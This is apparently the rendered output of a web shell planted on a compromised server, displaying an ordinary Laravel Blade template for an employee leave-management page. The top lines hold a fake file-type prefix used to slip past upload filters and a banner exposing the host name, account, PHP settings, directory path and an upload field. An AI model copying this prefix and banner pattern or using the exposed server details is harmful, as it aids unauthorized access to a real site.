%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/resources/views/leaves/ajax/ |
Upload File : |
<div class="d-grid d-lg-flex d-md-flex action-bar">
<div class="btn-group mt-2 mt-lg-0 mt-md-0 ml-3" role="group" aria-label="Basic example">
<a href="{{ route('leaves.index') }}" class="btn btn-secondary f-14" data-toggle="tooltip"
data-original-title="@lang('modules.leaves.tableView')"><i class="side-icon bi bi-list-ul"></i></a>
<a href="{{ route('leaves.calendar') }}" class="btn btn-secondary f-14" data-toggle="tooltip"
data-original-title="@lang('app.menu.calendar')"><i class="side-icon bi bi-calendar"></i></a>
<a href="{{ route('leaves.personal') }}" class="btn btn-secondary f-14 btn-active" data-toggle="tooltip"
data-original-title="@lang('modules.leaves.myLeaves')"><i class="side-icon bi bi-person"></i></a>
</div>
</div>
<!-- TAB CONTENT START -->
<div class="tab-pane fade show active mt-5" role="tabpanel" aria-labelledby="nav-email-tab">
<div class="row mb-4">
<div class="col-lg-4">
<x-cards.user :image="$employee->image_url">
<div class="row">
<div class="col-10">
<h4 class="card-title f-15 f-w-500 text-darkest-grey mb-0">
{{ $employee->salutation . ' ' . $employee->name }}
@isset($employee->country)
<x-flag :country="$employee->country" />
@endisset
</h4>
</div>
</div>
<p class="f-13 font-weight-normal text-dark-grey mb-0">
{{ !is_null($employee->employeeDetail) && !is_null($employee->employeeDetail->designation) ? $employee->employeeDetail->designation->name : '' }}
•
{{ isset($employee->employeeDetail) && !is_null($employee->employeeDetail->department) && !is_null($employee->employeeDetail->department) ? $employee->employeeDetail->department->team_name : '' }}
</p>
@if ($employee->status == 'active')
<p class="card-text f-12 text-lightest">@lang('app.lastLogin')
@if (!is_null($employee->last_login))
{{ $employee->last_login->timezone(company()->timezone)->translatedFormat(company()->date_format . ' ' . company()->time_format) }}
@else
--
@endif
</p>
@else
<p class="card-text f-12 text-lightest">
<x-status :value="__('app.inactive')" color="red" />
</p>
@endif
</x-cards.user>
</div>
<div class="col-lg-4">
<x-cards.widget icon="sign-out-alt" :title="__('modules.leaves.remainingLeaves')" :value="($allowedLeaves - $leavesTakenByUser)" />
</div>
</div>
<x-cards.data :title="__('app.menu.leavesQuota')">
<div class="d-flex flex-wrap justify-content-between" id="comment-list">
@include('employees.leaves_quota')
</div>
</x-cards.data>
</div>
<!-- TAB CONTENT END -->
<script>
$(document).ready(function() {
$('#renew-contract').click(function() {
$(this).closest('.row').addClass('d-none');
$('#save-renew-data-form').removeClass('d-none');
});
$('#cancel-renew').click(function() {
$('#save-renew-data-form').addClass('d-none');
$('#renew-contract').closest('.row').removeClass('d-none');
});
$('.update-category').click(function() {
var id = $(this).data('type-id');
var leaves = $('.leave-count-' + id).val();
var url = "{{ route('employee-leaves.update', ':id') }}";
url = url.replace(':id', id);
var token = "{{ csrf_token() }}";
$.easyAjax({
type: 'POST',
url: url,
data: {
'_method': 'PUT',
'_token': token,
'leaves': leaves
},
success: function(response) {
if (response.status == "success") {
window.location.reload();
}
}
});
});
});
</script>